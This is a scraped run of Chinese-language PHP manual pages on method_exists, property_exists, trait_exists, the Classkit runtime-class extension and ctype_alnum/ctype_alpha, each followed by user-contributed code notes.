mail at bartrail dot de 25-Apr-2011 10:06
Using method_exists inside an object's __call() method can be very usefull if you want to avoid to get a fatal error because of a limit in function nesting or if you are calling methods that dont exist but need to continue in your application:

<?php
class Something
{

    /**
     * Call a method dynamically
     *
     * @param string $method
     * @param array $args
     * @return mixed
     */
    public function __call($method, $args)
    {
        if(method_exists($this, $method)) {
          return call_user_func_array(array($this, $method), $args);
        }else{
          throw new Exception(sprintf('The required method "%s" does not exist for %s', $method, get_class($this)));
        }
    }

}
?>
phoenix at todofixthis dot com 21-Dec-2010 09:13
As noted [elsewhere] method_exists() does not care about the existence of __call(), whereas is_callable() does:

<?php
class Test {
  public function explicit(  ) {
      // ...
  }

  public function __call( $meth, $args ) {
      // ...
  }
}

$Tester = new Test();

var_export(method_exists($Tester, 'anything')); // false
var_export(is_callable(array($Tester, 'anything'))); // true
?>
uramihsayibok, gmail, com 06-Aug-2010 10:09
It wasn't spelled out but could be inferred: method_exists() also works on interfaces.

<?php

var_dump(method_exists("Iterator", "current"));
// bool(true)

?>
Anonymous 08-May-2010 05:20
If you want to check in a class itself if a method is known you may do so with magic variable __CLASS__

<?php

class A{
  __construct($method){
      return method_exists(__CLASS__,$method);
  }

  private function foo(){

  }
}

$test = new A('foo');
//should return true

?>

You might also use the method describe below with <?php in_array() ?> trick but I consider this one here easier and more readable and well, the way it is intended toi be done ;)
admin ( at ) djokodonev dot com 16-Oct-2009 04:30
Hi,

Here is a useful function that  you can use to check classes methods access e.g whether it is public, private or static or both..

here it goes:

<?php
// Example class
class myClass {

    private $private1;

    static $static1;

    public $public1;

    public function publ() {

    }

    private function priv() {

    }

    private static function privstatic() {

    }

    public static function publstatic() {

    }

    static function mytest() {

    }
}

// The function uses the reflection class that is built into PHP!!!
// The purpose is to determine the type of a certain method that exi
function is_class_method($type="public", $method, $class) {
   // $type = mb_strtolower($type);
    $refl = new ReflectionMethod($class, $method);
    switch($type) {
        case "static":
        return $refl->isStatic();
        break;
        case "public":
        return $refl->isPublic();
        break;
        case "private":
        return $refl->isPrivate();
        break;
    }
}
var_dump(is_class_method("static", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "publstatic", "myClass")); // False the methos is public and also static not private
 // you get the idea.. I hope this helps someone..
?>
florin from syneto net 07-Oct-2009 07:34
This function is case-insensitive (as is PHP) and here is the proof:
<?php
class A {
    public function FUNC() { echo '*****'; }
}

$a = new A();
$a->func(); // *****
var_dump(method_exists($a, 'func')); // bool(true)
?>
jp at function dot fi 30-Apr-2006 02:29
As mentioned before, is_callable and method_exists report all methods callable even if they are private/protected and thus actually not callable. So instead of those functions you may use following work-around which reports methods as supposed to.

<?php
class Foo1 {
  public function bar() {
    echo "I'm private Foo1::bar()";
  }
}

class Foo2 {
  private function bar() {
    echo "I'm public Foo2::bar()";
  }
}

$f1=new Foo1;
$f2=new Foo2;

if(is_callable(array($f1,"bar"))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(is_callable(array($f2,"bar"))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f1))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f2))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}

?>

output
Foo1::bar() is callable (correct)
Foo2::bar() is callable (incorrect)
Foo1::bar() is callable (correct)
Foo2::bar() isn't callable (correct)

?>
seufert at gmail dot com 26-Apr-2006 06:27
Just a note that the behaviour of this function changed between version 5.0.x and 5.1.x when using static member functions

Using this code:
<?php
class a {
    static function test() {return "A";}
}
if(method_exists('a','test'))
    print call_user_func(array('a','test'));
else
    print "Nothing";
?>
PHP 5.1.x returns "A"
PHP 5.0.x returns "Nothing"

Im not sure of a workaround for PHP 5.0.x yet.
spam at majiclab dot com 31-Jan-2006 08:33
Both method_exists() and is_callable() return private and protected functions, which, as mentioned below, causes problems for PHP5/OO programming.  You can use get_class_methods() with either an $instance of a class or the 'ClassName' to get only public functions.
daniel at softel dot jp 09-Jan-2006 07:34
Note that in PHP5, method_exists() will sucessfully find *private* methods. This has some OO/data-hiding ramifications.
jpgiot at nospam ifrance.com 06-May-2004 07:42
a little difference :

to find a method of an object (instance of a class)

<?php
if (method_exists($myinstance,'themethod'))
    echo 'ok';
?>

to find a method of a class (using the class name, not the instance of the class!)

<?php
if (is_callable(array('theclassname','themethod')))
    echo 'ok';
?>
Thomas@ThBeckmann 31-Jan-2003 01:47
Though, as Bejamin noted, it's not possible to use the class name in method_exists within the class definition, get_class_methods delivers the method names for a given class name even inside the class. Thus another workaround for the mentioned problem is to use in_array(<method_name>, get_class_methods(<class_name>))
benjamin_ansbach at web dot de 27-Dec-2002 12:49
if you want to check for a method "inside" of a class use:

method_exists($this, 'function_name')

i was a bit confused 'cause i thought i'm only able to check for a method when i got an object like $object_name = new class_name() with:

method_exists($object_name, 'method_name')

small example for those who didn't understood what i mean ( maybe caused by bad english :) ):

<?php

class a {

    function a() {

        if(method_exists($this, 'test'))
            echo 'a::test() exists!';
        else
            echo 'a::test() doesn\'t exists';

    }

    function test() {

        return true;

    }

}

$b = new a();

?>

the output will be: a::test() exists!

maybe this will help someone
j dot metzger at steptown dot com 16-Jan-2002 03:42
call_user_method uses the same mechanism as a normal method call. So you can get the returned values as well in this way.

$pagetext=call_user_method($method,$object_call);

All information is then in $pagetext.


检查对象或类是否具有该属性

  • ? method_exists
  • trait_exists ?
  • PHP Manual
  • 类/对象 函数
  • 检查对象或类是否具有该属性

property_exists

(PHP 5 >= 5.1.0, PHP 7)

property_exists — 检查对象或类是否具有该属性

说明

property_exists ( mixed $class , string $property ) : bool

本函数检查给出的 property 是否存在于指定的类中（以及是否能在当前范围内访问）。

Note:

As opposed with isset(), property_exists() returns TRUE even if the property has the value NULL.

参数

class

字符串形式的类名或要检查的类的一个对象

property

属性的名字

返回值

如果该属性存在则返回 TRUE，如果不存在则返回 FALSE，出错返回 NULL。

注释

Note:

如果此类不是已知类，使用此函数会使用任何已注册的 autoloader。

Note:

The property_exists() function cannot detect properties that are magically accessible using the __get magic method.

更新日志

版本 | 说明
5.3.0 | This function checks the existence of a property independent of accessibility.

范例

Example #1 A property_exists() example

<?php

class myClass {
    public $mine;
    private $xpto;
    static protected $test;

    static function test() {
        var_dump(property_exists('myClass', 'xpto')); //true
    }
}

var_dump(property_exists('myClass', 'mine'));   //true
var_dump(property_exists(new myClass, 'mine')); //true
var_dump(property_exists('myClass', 'xpto'));   //true, as of PHP 5.3.0
var_dump(property_exists('myClass', 'bar'));    //false
var_dump(property_exists('myClass', 'test'));   //true, as of PHP 5.3.0
myClass::test();

?>

参见

  • method_exists() - 检查类的方法是否存在

User Contributed Notes

@fitorec 14-Jul-2019 02:12
<?php

abstract class P {
  private $priv;
  static protected $static_prop;
  static function exists($prop = 'priv') {
      var_dump(property_exists(new static, $prop)); //true
  }
}

class S extends P {
  static protected $new_prop;
}
S::exists('new_prop');       // True
S::exists('static_prop');    // True
S::exists('priv');           // True
David Spector 03-Sep-2018 12:37
Just to clarify, property_exists only works for static properties. There is no corresponding const_exists function in PHP to do something similar for const names.
falundir at gmail dot com 16-Feb-2017 08:42
If you want to test if declared *public* property was unset, you can use the following code:

<?php
class A {
    public $declared;
}

$a = new A();
$is_defined = array_key_exists('declared', (array)$a); //=>true

unset($a->declared);
$is_defined = array_key_exists('declared', (array)$a); //=>false
?>
Daniel dot Peder at infoset dot com 23-Nov-2016 09:24
declared properties cannot be unset
any set property does exist, even being set to null, regardless how it was set

<?php

class demo_property_exists {

    public $my_public;
    protected $my_protected;
    private $my_private;

    function __construct() {
        $this->dumper('before-constructed');
        $this->my_constructed_int = 123;
        $this->my_constructed_null = null;
        $this->dumper('after-constructed');
    }

    public function dumper($name) {
        printf("\n[%s] dump:\n", $name);

        foreach ($this->my_checklist() as $prop) {
            printf("[%s]:\t", $prop);
            var_dump(property_exists($this, $prop));
        }
    }

    public function unset_all() {
        foreach ($this->my_checklist() as $prop) {
            unset($this->$prop);
        }
    }

    private function my_checklist() {
        return array('my_public', 'my_protected', 'my_private', 'my_constructed_int', 'my_constructed_null', 'my_assigned_int', 'my_assigned_null',);
    }

}

$object = new demo_property_exists();
$object->dumper('before-assigned');
$object->my_assigned_int = 456;
$object->my_assigned_null = null;
$object->dumper('after-assigned');
$object->unset_all();
$object->dumper('after-unset');

/*
results:

[before-constructed] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(false)
[my_constructed_null]:  bool(false)
[my_assigned_int]:      bool(false)
[my_assigned_null]:     bool(false)

[after-constructed] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(true)
[my_constructed_null]:  bool(true)
[my_assigned_int]:      bool(false)
[my_assigned_null]:     bool(false)

[before-assigned] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(true)
[my_constructed_null]:  bool(true)
[my_assigned_int]:      bool(false)
[my_assigned_null]:     bool(false)

[after-assigned] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(true)
[my_constructed_null]:  bool(true)
[my_assigned_int]:      bool(true)
[my_assigned_null]:     bool(true)

[after-unset] dump:
[my_public]:    bool(true)
[my_protected]: bool(true)
[my_private]:   bool(true)
[my_constructed_int]:   bool(false)
[my_constructed_null]:  bool(false)
[my_assigned_int]:      bool(false)
[my_assigned_null]:     bool(false)

*/
saurabh dot agarwal89 at gmail dot com 27-May-2015 11:17
$a = array('a','b'=>'c');
print_r((object) $a);
var_dump( property_exists((object) $a,'0'));
var_dump( property_exists((object) $a,'b'));

OUTPUT:
stdClass Object
(
    [0] => a
    [b] => c
)
bool(false)
bool(true)
g dot gentile at parentesigraffe dot com 05-Mar-2015 09:02
The function behaves differently depending on whether the property has been present in the class declaration, or has been added dynamically, if the variable has been unset()

<?php

class TestClass {

    public $declared = null;

}

$testObject = new TestClass;

var_dump(property_exists("TestClass", "dynamic")); // boolean false, as expected
var_dump(property_exists($testObject, "dynamic")); // boolean false, same as above

$testObject->dynamic = null;
var_dump(property_exists($testObject, "dynamic")); // boolean true

unset($testObject->dynamic);
var_dump(property_exists($testObject, "dynamic")); // boolean false, again.

var_dump(property_exists($testObject, "declared")); // boolean true, as espected

unset($testObject->declared);
var_dump(property_exists($testObject, "declared")); // boolean true, even if has been unset()
ewisuri [gmail] 15-Feb-2014 04:37
As of PHP 5.3.0, calling property_exists from a parent class sees private properties in sub-classes.

<?php
class P {
    public function test_prop($prop) { return property_exists($this, $prop); }
}

class Child extends P {
    private $prop1;
}

$child = new Child();
var_dump($child->test_prop('prop1')); //true, as of PHP 5.3.0
Nanhe Kumar 17-Jan-2014 10:39
<?php

class Student {

    protected $_name;
    protected $_email;

    public function __call($name, $arguments) {
        $action = substr($name, 0, 3);
        switch ($action) {
            case 'get':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    return $this->{$property};
                }else{
                    echo "Undefined Property";
                }
                break;
            case 'set':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    $this->{$property} = $arguments[0];
                }else{
                    echo "Undefined Property";
                }

                break;
            default :
                return FALSE;
        }
    }

}

$s = new Student();
$s->setName('Nanhe Kumar');
$s->setEmail('nanhe.kumar@gmail.com');
echo $s->getName(); //Nanhe Kumar
echo $s->getEmail(); // nanhe.kumar@gmail.com
$s->setAge(10); //Undefined Property
?>
Stefan W 03-Sep-2013 01:23
If you are in a namespaced file, and you want to pass the class name as a string, you will have to include the full namespace for the class name - even from inside the same namespace:

<?
namespace MyNS;

class A {
    public $foo;
}

property_exists("A", "foo");          // false
property_exists("\\MyNS\\A", "foo");  // true
?>


检查指定的 trait 是否存在

  • ? property_exists
  • Classkit ?
  • PHP Manual
  • 类/对象 函数
  • 检查指定的 trait 是否存在

trait_exists

(PHP 5 >= 5.4.0, PHP 7)

trait_exists — 检查指定的 trait 是否存在

说明

trait_exists ( string $traitname [, bool $autoload ] ) : bool

参数

traitname

待检查的 trait 的名称

autoload

如果尚未加载，是否使用自动加载（autoload）。

返回值

如果 trait 存在返回 TRUE，不存在则返回 FALSE。发生错误的时候返回 NULL。

User Contributed Notes

astinus dot eberhard at gmail dot com 10-Mar-2017 03:35
Traits are compatible with class autoload mechanism - in fact, if you look at source code of trait_exists function, you will find similar peace of code (see Zend/zend_builtin_functions.c)
valerio dot bozzolan at gmail dot com 28-Jan-2016 06:38
What is the default value of $autoload? And in which way traits are autoloaded? Is there something as spl_autoload() for traits?
Lubaev.K 19-Jun-2013 02:20
<?php
trait World {

    private static $instance;
    protected $tmp;

    public static function World()
    {
        self::$instance = new static();
        self::$instance->tmp = get_called_class().' '.__TRAIT__;

        return self::$instance;
    }

}

if ( trait_exists( 'World' ) ) {

    class Hello {
        use World;

        public function text( $str )
        {
            return $this->tmp.$str;
        }
    }

}

echo Hello::World()->text('!!!'); // Hello World!!!


Classkit

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Classkit 函数
    • classkit_import — Import new class method definitions from a file
    • classkit_method_add — Dynamically adds a new method to a given class
    • classkit_method_copy — Copies a method from class to another
    • classkit_method_redefine — Dynamically changes the code of the given method
    • classkit_method_remove — Dynamically removes the given method
    • classkit_method_rename — Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.


简介

These functions allow the dynamic manipulation of PHP classes, at runtime.

Note:

This extension has been replaced by runkit, which is not limited to class manipulation but has function manipulation, as well.

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展被认为已无人维护及已消亡。然而，此扩展的源代码还可在 PECL SVN 找到： » https://svn.php.net/viewvc/pecl/classkit.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

CLASSKIT_ACC_PRIVATE (int)
将方法标记为 private
CLASSKIT_ACC_PROTECTED (int)
将方法标记为 protected
CLASSKIT_ACC_PUBLIC (int)
将方法标记为 public

User Contributed Notes

There are no user contributed notes for this page.


Classkit 函数

Table of Contents

  • classkit_import — Import new class method definitions from a file
  • classkit_method_add — Dynamically adds a new method to a given class
  • classkit_method_copy — Copies a method from class to another
  • classkit_method_redefine — Dynamically changes the code of the given method
  • classkit_method_remove — Dynamically removes the given method
  • classkit_method_rename — Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.


Import new class method definitions from a file

  • ? Classkit 函数
  • classkit_method_add ?
  • PHP Manual
  • Classkit 函数
  • Import new class method definitions from a file

classkit_import

(PECL classkit >= 0.3)

classkit_import — Import new class method definitions from a file

说明

classkit_import ( string $filename ) : array

Note: 此函数不能用来操作当前正常运行（或运行链上）的方法。

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

filename

The filename of the class method definitions to import

返回值

Associative array of imported methods

范例

Example #1 classkit_import() example

<?php
// file: newclass.php
class Example {
    function foo() {
        return "bar!\n";
    }
}
?>
<?php
// requires newclass.php (see above)
class Example {
    function foo() {
        return "foo!\n";
    }
}

$e = new Example();

// output original
echo $e->foo();

// import replacement method
classkit_import('newclass.php');

// output imported
echo $e->foo();

?>

以上例程会输出：

foo!
bar!

参见

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_copy() - Copies a method from class to another

User Contributed Notes

There are no user contributed notes for this page.


Dynamically adds a new method to a given class

  • ? classkit_import
  • classkit_method_copy ?
  • PHP Manual
  • Classkit 函数
  • Dynamically adds a new method to a given class

classkit_method_add

(PECL classkit >= 0.1)

classkit_method_add — Dynamically adds a new method to a given class

说明

classkit_method_add ( string $classname , string $methodname , string $args , string $code [, int $flags = CLASSKIT_ACC_PUBLIC ] ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

classname

The class to which this method will be added

methodname

The name of the method to add

args

Comma-delimited list of arguments for the newly-created method

code

The code to be evaluated when methodname is called

flags

The type of method to create, can be CLASSKIT_ACC_PUBLIC, CLASSKIT_ACC_PROTECTED or CLASSKIT_ACC_PRIVATE

Note:

This parameter is only used as of PHP 5, because, prior to this, all methods were public.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 classkit_method_add() example

<?php
class Example {
    function foo() {
        echo "foo!\n";
    }
}

// create an Example object
$e = new Example();

// Add a new public method
classkit_method_add(
    'Example',
    'add',
    '$num1, $num2',
    'return $num1 + $num2;',
    CLASSKIT_ACC_PUBLIC
);

// add 12 + 4
echo $e->add(12, 4);
?>

以上例程会输出：

16

参见

  • classkit_method_copy() - Copies a method from class to another
  • classkit_method_redefine() - Dynamically changes the code of the given method
  • classkit_method_remove() - Dynamically removes the given method
  • classkit_method_rename() - Dynamically changes the name of the given method
  • create_function() - Create an anonymous (lambda-style) function

User Contributed Notes

Lester 03-Apr-2008 09:54
If you creates methods by using classkit_method_add(), they are not visible in get_class_methods().

class A
{
       public function foo()
       {
            return "foo!\n";
       }
}

classkit_method_redefine('A','bar','','return "bar !\n";',CLASSKIT_ACC_PUBLIC);

print_r(get_class_methods('A'));
// writes only "foo"


Copies a method from class to another

  • ? classkit_method_add
  • classkit_method_redefine ?
  • PHP Manual
  • Classkit 函数
  • Copies a method from class to another

classkit_method_copy

(PECL classkit >= 0.2)

classkit_method_copy — Copies a method from class to another

说明

classkit_method_copy ( string $dClass , string $dMethod , string $sClass [, string $sMethod ] ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

dClass

Destination class for copied method

dMethod

Destination method name

sClass

Source class of the method to copy

sMethod

Name of the method to copy from the source class. If this parameter is omitted, the value of dMethod is assumed.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 classkit_method_copy() example

<?php
class Foo {
    function example() {
        return "foo!\n";
    }
}

class Bar {
    // initially, no methods
}

// copy the example() method from the Foo class to the Bar class, as baz()
classkit_method_copy('Bar', 'baz', 'Foo', 'example');

// output copied function
echo Bar::baz();
?>

以上例程会输出：

foo!

参见

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_redefine() - Dynamically changes the code of the given method
  • classkit_method_remove() - Dynamically removes the given method
  • classkit_method_rename() - Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.


Dynamically changes the code of the given method

  • ? classkit_method_copy
  • classkit_method_remove ?
  • PHP Manual
  • Classkit 函数
  • Dynamically changes the code of the given method

classkit_method_redefine

(PECL classkit >= 0.1)

classkit_method_redefine — Dynamically changes the code of the given method

说明

classkit_method_redefine ( string $classname , string $methodname , string $args , string $code [, int $flags = CLASSKIT_ACC_PUBLIC ] ) : bool

Note: 此函数不能用来操作当前正常运行（或运行链上）的方法。

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

classname

The class in which to redefine the method

methodname

The name of the method to redefine

args

Comma-delimited list of arguments for the redefined method

code

The new code to be evaluated when methodname is called

flags

The redefined method can be CLASSKIT_ACC_PUBLIC, CLASSKIT_ACC_PROTECTED or CLASSKIT_ACC_PRIVATE

Note:

This parameter is only used as of PHP 5, because, prior to this, all methods were public.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 classkit_method_redefine() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// create an Example object
$e = new Example();

// output Example::foo() (before redefine)
echo "Before: " . $e->foo();

// Redefine the 'foo' method
classkit_method_redefine(
    'Example',
    'foo',
    '',
    'return "bar!\n";',
    CLASSKIT_ACC_PUBLIC
);

// output Example::foo() (after redefine)
echo "After: " . $e->foo();
?>

以上例程会输出：

Before: foo!
After: bar!

参见

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_copy() - Copies a method from class to another
  • classkit_method_remove() - Dynamically removes the given method
  • classkit_method_rename() - Dynamically changes the name of the given method

User Contributed Notes

fdrean 03-Sep-2016 12:22
This could lead to revolution in cli mode now that developers can load new code without restarting process.


Dynamically removes the given method

  • ? classkit_method_redefine
  • classkit_method_rename ?
  • PHP Manual
  • Classkit 函数
  • Dynamically removes the given method

classkit_method_remove

(PECL classkit >= 0.1)

classkit_method_remove — Dynamically removes the given method

说明

classkit_method_remove ( string $classname , string $methodname ) : bool

Note: 此函数不能用来操作当前正常运行（或运行链上）的方法。

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

classname

The class in which to remove the method

methodname

The name of the method to remove

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 classkit_method_remove() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }

    function bar() {
        return "bar!\n";
    }
}

// Remove the 'foo' method
classkit_method_remove(
    'Example',
    'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

以上例程会输出：

bar

参见

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_copy() - Copies a method from class to another
  • classkit_method_redefine() - Dynamically changes the code of the given method
  • classkit_method_rename() - Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.


Dynamically changes the name of the given method

  • ? classkit_method_remove
  • Ctype ?
  • PHP Manual
  • Classkit 函数
  • Dynamically changes the name of the given method

classkit_method_rename

(PECL classkit >= 0.1)

classkit_method_rename — Dynamically changes the name of the given method

说明

classkit_method_rename ( string $classname , string $methodname , string $newname ) : bool

Note: 此函数不能用来操作当前正常运行（或运行链上）的方法。

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

classname

The class in which to rename the method

methodname

The name of the method to rename

newname

The new name to give to the renamed method

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 classkit_method_rename() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// Rename the 'foo' method to 'bar'
classkit_method_rename(
    'Example',
    'foo',
    'bar'
);

// output renamed function
echo Example::bar();
?>

以上例程会输出：

foo!

参见

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_copy() - Copies a method from class to another
  • classkit_method_redefine() - Dynamically changes the code of the given method
  • classkit_method_remove() - Dynamically removes the given method

User Contributed Notes

There are no user contributed notes for this page.


字符类型检测

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Ctype 函数
    • ctype_alnum — 做字母和数字字符检测
    • ctype_alpha — 做纯字符检测
    • ctype_cntrl — 做控制字符检测
    • ctype_digit — 做纯数字检测
    • ctype_graph — 做可打印字符串检测，空格除外
    • ctype_lower — 做小写字符检测
    • ctype_print — 做可打印字符检测
    • ctype_punct — 检测可打印的字符是不是不包含空白、数字和字母
    • ctype_space — 做空白字符检测
    • ctype_upper — 做大写字母检测
    • ctype_xdigit — 检测字符串是否只包含十六进制字符

User Contributed Notes

There are no user contributed notes for this page.


简介

该扩展所提供的函数用来检测 在当前的区域设定下（参见 setlocale()），一个字符或者字符串 是否仅包含指定类型的字符。

当使用整数作为参数调用这些函数的时候， 这些函数的行为和 C 语言（ctype.h） 中的对应函数一样。 也就是说，如果传入了小于 256 的整数参数，它会把这个整数当做 ASCII 码值， 来检测对应字符是否符合要求（数值检测的 ASCII 值范围为 0x30-0x39）。 如果传入的参数介于 -128 和 -1 之间（含 -128 和 -1），它会先将其加上 256，然后再进行检测。

当传入参数为字符串的时候，它会对字符串中的每个字符进行检测， 仅当字符串中的每个字符都符合指定条件的情况下才会返回 TRUE。 在 PHP 5.1 之前的版本中，如果传入空字符串总是会返回 TRUE， 从 PHP 5.1 开始，传入空字符串总是会返回 FALSE。

传入除整数和字符串之外的参数 会立即返回 FALSE。

需要提醒的是，如果可以满足需求，请优先考虑使用 ctype 函数， 而不是正则表达式或者对应的 "str_*" 和 "is_*" 函数。 因为 ctype 使用的是原生 C 库，所以会有明显的性能优势。

Note:

这些函数和 Python 中的 "ctypes" 库没有任何关系。 ctype 的名字源自对应的 C 语言中的头文件 ctype.h。

实际上，这个扩展是先于 Python 的 "ctypes" 的， 如果这个命名给你带来困扰，那也不是我们的错误 ...

User Contributed Notes

flashinno at gmail dot com 16-Jan-2015 08:12
pcre from the ver. 5.3 is a part of core PHP, any function exported from .so can't work wih faster than core function


需求

无额外需求，因为标准 C 库中的函数总是可用的。

User Contributed Notes

There are no user contributed notes for this page.


安装

可以使用 --disable-ctype 配置项来禁用 ctype 扩展。

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

User Contributed Notes

sparc at fastmail dot fm 28-Dec-2016 08:42
Or pkg install php56-ctype if you have PHP 5.6 in FreeBSD
php at darkain dot com 02-Oct-2016 09:41
On FreeBSD, this library is NOT included automatically. It must be manually installed. This can be done with the following command:

pkg install php70-ctype


Ctype 函数

Table of Contents

  • ctype_alnum — 做字母和数字字符检测
  • ctype_alpha — 做纯字符检测
  • ctype_cntrl — 做控制字符检测
  • ctype_digit — 做纯数字检测
  • ctype_graph — 做可打印字符串检测，空格除外
  • ctype_lower — 做小写字符检测
  • ctype_print — 做可打印字符检测
  • ctype_punct — 检测可打印的字符是不是不包含空白、数字和字母
  • ctype_space — 做空白字符检测
  • ctype_upper — 做大写字母检测
  • ctype_xdigit — 检测字符串是否只包含十六进制字符

User Contributed Notes

There are no user contributed notes for this page.


做字母和数字字符检测

  • ? Ctype 函数
  • ctype_alpha ?
  • PHP Manual
  • Ctype 函数
  • 做字母和数字字符检测

ctype_alnum

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_alnum — 做字母和数字字符检测

说明

ctype_alnum ( string $text ) : bool

检查提供的string,text 是否全部为字母和(或)数字字符。

参数

text

测试字符串。

返回值

如果text中所有的字符全部是字母和(或者)数字，返回 TRUE 否则返回FALSE

范例

Example #1 A ctype_alnum() 示例 (使用默认的区域设置)

<?php
$strings = array('AbCd1zyZ9', 'foo!#$bar');
foreach ($strings as $testcase) {
    if (ctype_alnum($testcase)) {
        echo "The string $testcase consists of all letters or digits.\n";
    } else {
        echo "The string $testcase does not consist of all letters or digits.\n";
    }
}
?>

以上例程会输出：

The string AbCd1zyZ9 consists of all letters or digits.
The string foo!#$bar does not consist of all letters or digits.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_alpha() - 做纯字符检测
  • ctype_digit() - 做纯数字检测
  • setlocale() - 设置地区信息

User Contributed Notes

marcelocamargo at linuxmail dot org 04-Jan-2016 04:42
It is also important to note that the behavior of `ctype_alnum` differs according to the operating system. For UNIX-based operating system, if you pass a value that is not a string (or an overloaded object), independently of the value, it will always result in false. However, if we do the same on Windows, using, for example, -1 as literal (a minus and a number greater than 0), we'll have true as result.

<?php var_dump(ctype_alnum(-1));
// UNIX: bool(false)
// Windows: bool(true)
Anonymous 28-Jan-2013 05:12
Quicktip: If ctype is not enabled by default on your server, replace ctype_alnum($var) with preg_match('/^[a-zA-Z0-9]+$/', $var).
Rory 07-Dec-2009 04:42
Just for the record, Gentoo doesn't include this function by default. You'll have to recompile PHP with the "ctype" USE flag.
thinice at gmail dot com 22-Jul-2009 02:46
ctype_alnum() is a godsend for quick and easy username/data filtering when used in conjunction with str_replace().

Let's say your usernames have dash(-) and underscore(_) allowable and alphanumeric digits as well.

Instead of a regex you can trade a bit of performance for simplicity:

<?php
$sUser = 'my_username01';
$aValid = array('-', '_');

if(!ctype_alnum(str_replace($aValid, '', $sUser))) {
    echo 'Your username is not properly formatted.';
}
?>


做纯字符检测

  • ? ctype_alnum
  • ctype_cntrl ?
  • PHP Manual
  • Ctype 函数
  • 做纯字符检测

ctype_alpha

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_alpha — 做纯字符检测

说明

ctype_alpha ( string $text ) : bool

查看提供的string，text里面的所有字符是否只包含字符。 在标准的 C 语言环境下，字母仅仅是指 [A-Za-z] ， ctype_alpha() 等同于 (ctype_upper($text) || ctype_lower($text)) 如果 text 是简单的单个字符串还好，但是在其他语言中有些字母被认为既不是大写也不是小写。

参数

text

被测试的字符串。

返回值

如果在当前语言环境中 text 里的每个字符都是一个字母，那么就返回TRUE，反之则返回FALSE。

范例

Example #1 一个 ctype_alpha() 例子（使用默认的语言环境）

<?php
$strings = array('KjgWZC', 'arf12');
foreach ($strings as $testcase) {
    if (ctype_alpha($testcase)) {
        echo "The string $testcase consists of all letters.\n";
    } else {
        echo "The string $testcase does not consist of all letters.\n";
    }
}
?>

以上例程会输出：

The string KjgWZC consists of all letters.
The string arf12 does not consist of all letters.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_upper() - 做大写字母检测
  • ctype_lower() - 做小写字符检测
  • setlocale() - 设置地区信息

User Contributed Notes

Tyrunur 27-May-2009 02:12
It works if you set the locale correctly:

<?php

setLocale(LC_CTYPE, 'FR_fr.UTF-8');

?>

with this change you will get "yes" "yes"


做控制字符检测

  • ? ctype_alpha
  • ctype_digit ?
